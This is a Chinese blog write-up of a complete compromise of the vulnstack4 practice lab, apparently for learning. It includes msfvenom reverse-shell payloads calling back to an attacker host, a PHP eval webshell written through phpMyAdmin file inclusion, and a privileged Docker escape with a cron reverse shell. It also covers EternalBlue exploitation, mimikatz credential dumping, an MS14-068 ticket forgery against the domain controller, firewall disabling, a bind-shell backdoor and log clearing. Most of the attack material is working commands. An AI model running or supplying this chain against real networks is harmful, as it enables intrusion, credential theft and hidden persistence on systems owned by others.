红日靶场4

vulnstack4
环境搭建
1 | 机器密码 |
网络环境
1 | web主机双网卡 内网ip:192.168.183.129 公网ip:192.168.86.131 |
web主机启动服务
1 | sudo su |
信息搜集
1 | nmap 192.168.86.131 |
扫到四个端口,分别看一下
1 | http://192.168.86.131:2001/ |
是一个文件上传的接口
1 | http://192.168.86.131:2002/ |
2002是一个apache的tomcat服务
1 | http://192.168.86.131:2003/ |
phpMyAdmin,但是无法连接。
先从2001的文件上传接口开始突破
漏洞利用
漏扫一下看看
1 | POST方法,S2-046-bypass漏洞存在!!!,程序更改为S2-046-bypass漏洞测试模式, 响应码: 200 |
框架利用直接可以命令执行,并且还是root,利用msf写jsp木马弹个shell出来
1 | msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.86.132 LPORT=4445 -f jsp > shell.jsp |
shell出来
但是从dockerfile来看,拿到的是docker环境的shell。
下面看
1 | http://192.168.86.131:2002/ |
tomcat的打法
泄露了tomcat的版本号,网上查找相关漏洞,参考链接CVE-2017-12615&Tomcat-pass-getshell - FreeBuf网络安全行业门户
CVE-2017-12615
漏洞描述
当存在漏洞的Tomcat运行在Windows/Linux主机上,且启用了HTTP PUT请求方法( 例如,将readonly初始化参数由默认值设置为false),攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的JSP的webshell文件,JSP文件中的恶意代码将能被服务器执行, 导致服务器上的数据泄露或获取服务器权限。
漏洞原理
漏洞的产生是由于配置不当(非默认配置),当在Tomcat的conf(配置目录下)/web.xml配置文件中添加readonly设置为false时,将导致该漏洞产 生,(需要允许put请求)。
漏洞利用
打开给的地址,tomcat的默认界面
既然确定了cve-2017-12615,是利用jsp文件上传put方式传马上去的
msf里面有集成利用模块
1 | search tomcat_jsp |
1 | 设置一下相关参数 |
成功弹回shell
不用msf集成模块打的话就用抓包改get方式为put方式传jsp马,可以文件流绕过,可以空格绕过,可以”/“绕过,我用”/“绕过上去用webshell连接即可
phpmyadmin打法
再看一下2003端口
右下角泄露版本
查一下相关版本,参考链接
phpMyAdmin另一种getshell姿势(CVE-2018-12613)_phpmyadmin rce-CSDN博客
版本 4.8.1 存在 CVE-2018-12613 远程文件包含,payload
1 | ?target=tbl_zoom_select.php?/../../../../../../etc/hosts |
因此利用 session 写入 shell 的方式进行 getshell
原理:
Http 协议是一种无状态协议,即每次服务端接收到客户端的请求时,都是一个全新的请求,服务器并不知道客户端的历史请求记录;
Session 的主要目的就是为了弥补 Http 的无状态特性。简单的说,就是服务器可以利用 session 存储客户端在同一个会话期间的一些操作记录;
因此这里相对应的 sql 的查询历史也会出现在 session 中,若是一句话木马出现在 session 中,那么就可以使用远程文件包含取得 shell 了。
session 常见的一些保存路径
1 | /var/lib/php/sess_PHPSESSID |
session
文件的存储路径是分为两种情况的
一是没有权限,默认存储在 /var/lib/php/sessions/
目录下,文件名为 sess_[phpsessid]
,而 phpsessid
在发送的请求的 cookie
字段中可以看到(一般在利用漏洞时我们自己设置 phpsessid
)
二是 phpmyadmin
,这时的 session
文件存储在 /tmp
目录下,需要在 php.ini
里把 session.auto_start
置为 1,把 session.save_path
目录设置为 /tmp
直接执行
1 | SELECT "<?php phpinfo();?>" |
payload
1 | ?target=tbl_zoom_select.php?/../../../../../../tmp/sess_002ae7a61eb8335555c2a4cd34d9f1e8 |
接着使用文件包含将一句话木马写到网站目录下,尝试过将一句话木马直接写在包含文件中是不可以进行连接的。毕竟只是包含并不是真正的接收参数的页面
1 | select "<?php file_put_contents('/var/www/html/cmd.php','<?php @eval($_POST[pass]);?>')?>" |
访问根目录的cmd.php
蚂蚁剑连接
docker逃逸
这里由于 docker 环境缺少太多必要的东西导致无法成功逃逸,并且提取成功无法切换用户
因为前文提到我们拿到的(tomcat)shell是处于docker环境中的
执行
1 | cat /proc/1/cgroup |
这个命令是显示进程1所属的control group (cgroup) 的层次结构。
通过这个命令我们如果看到docker字样,就说明我们应该是在容器中。
下面我们要进行docker逃逸,拿到真正的web服务器shell
参考链接https://mp.weixin.qq.com/s/b6dCM059d_On5zZC-EYvtA
我们利用Dokcer之privileged特权模式逃逸
在容器内部的时候,我们首先判断我们当前容器是否是特权模式。
1 | cat /proc/self/status | grep CapEff |
如果docker是以特权模式启动的话,CapEff 对应的掩码值应该为0000003fffffffff 或者是 0000001fffffffff:
说明我们是特权模式
逃逸方法
查看磁盘状态
1 | fdisk -l |
能够看出来有一个8G的/dev/sda1 就是宿主机主磁盘,将该主磁盘挂载到test目录,
1 | mkdir /test && mount /dev/sda1 /test |
然后我们
1 | ls /test |
就可以读取到磁盘内容了。
由于我们将宿主机根目录挂载到了/test,而我们的shell本身权限又是root,所以这里可以直接chroot将/test改为根目录
1 | chroot /test |
写一个计划任务将shell弹回到kali机器上
1 | touch /test/test3.sh |
1 | nc -lvvp 7777 |
ok 监听7777 弹回shell 下面做内网信息搜集
内网信息搜集
双网卡的ubuntu
发现了内网ip
1 | 192.168.183.132,183网段 |
利用python的http.server和wget传个马到靶机上
1 | msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.86.132 LPORT=2226 -f elf > 2226.elf |
然后在该目录下python http服务
1 | python3 -m http.server |
利用刚刚的shell
1 | wget 192.168.86.132:8000/2226.elf |
下载成功
1 | chmod 777 2226.elf |
msf进行监听
1 | use exploit/multi/handler |
另外一边,执行木马
1 | ./2226.elf |
拿到了root的shell
利用msf进行路由转发
1 | run autoroute -s 192.168.183.0/24 |
然后
1 | bg |
先将会话放到后台
利用msf的udp_probe模块进行主机存活扫描
1 | use auxiliary/scanner/discovery/udp_probe |
结果
1 | 192.168.183.130:137 WIN-ENS2VR5TR3N: |
找到两台主机,一台server一台win7,对这两台主机进行端口扫描
先扫server机器
1 | nmap -sS -Pn 192.168.183.130 |
结果
开放:53,135,139,445,49158,49161等端口
再扫win7机器
1 | nmap -sS -Pn 192.168.183.128 |
结果
内网渗透
两台机器都开放了445,那不得不试一下永恒之蓝了,看一下是否存在
1 | use auxiliary/scanner/smb/smb_ms17_010 |
win7
1 | set rhost 192.168.183.130 |
server
都存在
win7利用
1 | use exploit/windows/smb/ms17_010_eternalblue |
msf代理问题,一直是fail
换一种方式利用frp做穿透代理进去
1 | 在kali中用服务端 |
在刚刚的web机器的shell里面启动客户端
1 | ./frpc -c frpc.toml |
服务端会有连接成功的日志
然后用proxychains4启动msf
1 | proxychains4 msfconsole |
永恒之蓝去打win7
1 | use exploit/windows/smb/ms17_010_eternalblue |
拿到win7的shell
验证权限
还是system权限
查看系统信息
1 | meterpreter > sysinfo |
在DEMO域环境内,加载kiwi模块看一下密码
1 | load kiwi |
只抓到douser用户密码 Dotest123
利用msf的enable_rdp模块开启3389端口
1 | bg |
1 | netstat -an | find "3389" |
可以看到3389已经开放
1 | proxychains rdesktop 192.168.183.128 |
尝试远控登陆一下
发现没有信任关系
看看能不能通过刚刚的system的shell修改admin的密码来进行登录
但是下面有一个很严重的问题,通过proxychains4 msfconsole启动的msf拿到win7的shell之后,无法运行shell命令
gpt的解释如下
1 | 你之所以一直看到 “SMB Login Error” 并且绑定端口也连不上,根本原因是:SMB(445)和 Shell 绑定(4444/4446)流量都被 proxychains 强行走了 SOCKS5,导致 Metasploit 无法跟目标做原生的 SMB 握手,也无法完成反弹连接。 |
chisel代理
用chisel挂代理试试
在kali上
1 | ./chisel server -p 6666 --reverse |
拿下的ubuntu做客户端反向连接VPS,开启socks代理
将chisel传到Ubuntu里面,在ubuntu里
1 | ./chisel client 192.168.86.132:6666 R:socks |
更改 vim /etc/proxychains4.conf
在msf里面
1 | use exploit/windows/smb/ms17_010_eternalblue |
不过还是只有meterpreter还是没有shell
问题跟上面用frp是一样的
一直碰壁心态有点爆炸,笔者到这里已经鏖战好多个小时了
后面想想,既然回弹的流量到达不了kali,那我用ubuntu反向代理kali的流量,映射同一端口,实现两台机器的通信,并且有meterpreter,我们可以利用上传文件和执行文件
由于当前的网络环境是典型的“双网卡代理转发架构”
网络结构
1 | ┌────────────┐ 外网IP/WAN: 192.168.86.137 (eth0) |
- Ubuntu 做服务端:
1 |
|
- Kali 做客户端:
1 | ./chisel client 192.168.86.137:60000 R:60001:127.0.0.1:5555 |
- MSF监听:
1 | msfconsole |
- 木马生成(用ubuntu的内网ip,这样win7可以回弹到ubuntu):
1 | msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.183.138 LPORT=60001 -f exe -o shell.exe |
利用已有的会话上传上去木马
1 | upload /home/lpp/shell6.exe |
成了,meterpreter能调出来shell
至此成功拿下win7主机
累死主包了
域内信息收集
下一步要拿下域控主机
域控ip
1 | 192.168.183.130 |
查看桌面文件
靶场搭建者已经为我们准备好了这么多现成工具,不用白不用,上文正向代理一开始的meterpreter中写过了,用msf 的kiwi模块也一样
kiwi或者mimikatz抓到的内容
1 |
|
提取到的关键信息
1 | USER:douser |
既然有sid,和douser的用户名和密码。我们利用Kerberos 域用户提权漏洞(MS14-068;CVE-2014-6324)来获得域控。
靶场搭建者也为我们准备好了MS14-068.exe,可执行文件版
先创建个用户加入管理员组来远控
1 | net user lpp admin123@ /add |
前文已经用msf开启过win7的3389
1 | proxychains rdesktop 192.168.183.140 |
拿到win7权限
MS14-068操作步骤
1.生成高权限票据
格式:MS14-068.exe -u 域成员名@域名 -s 域成员sid -d 域控制器地址 -p 域成员密码
1 | MS14-068.exe -u douser@DEMO.COM -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123 |
2.mimikatz导入TGT:
1 | mimikatz.exe |
导入后再psexec横向移动试试
psexec横向移动
3.psexec横向移动
1 | PsExec64.exe /accepteula /s \\WIN-ENS2VR5TR3N cmd |
直接拿到了dc的shell,确认一下权限
权限维持
我们利用msf制作一个后门
win7与dc建立联系
1 | net use \\WIN-ENS2VR5TR3N\c$ |
利用MSF生产一个正向连接的payload
1 | msfvenom -p windows/x64/meterpreter/bind_tcp LHOST=192.168.183.130 LPORT=3333 -f exe > dc_shell.exe |
将shell.exe上传到win7跳板机。
将dc_shell.exe复制到域控
1 | copy shell.exe \\WIN-ENS2VR5TR3N\c$ |
使用 netsh
命令关闭防火墙,并执行dc_shell.exe后门
1 | netsh advfirewall set allprofiles state off |
msf监听
1 | use exploit/multi/handler |
最后域控 192.168.183.130 上线。
痕迹清理
1 | 主要是将两台Windows主机的日志清除,ubuntu主机的上传文件、webshell删除 |
渗透测试结束,系统十分安全
- Title: 红日靶场4
- Author: luyanpei
- Created at : 2025-06-04 16:07:05
- Updated at : 2025-06-04 19:29:15
- Link: https://redefine.ohevan.com/2025/06/04/内网渗透-红日4/
- License: All Rights Reserved © luyanpei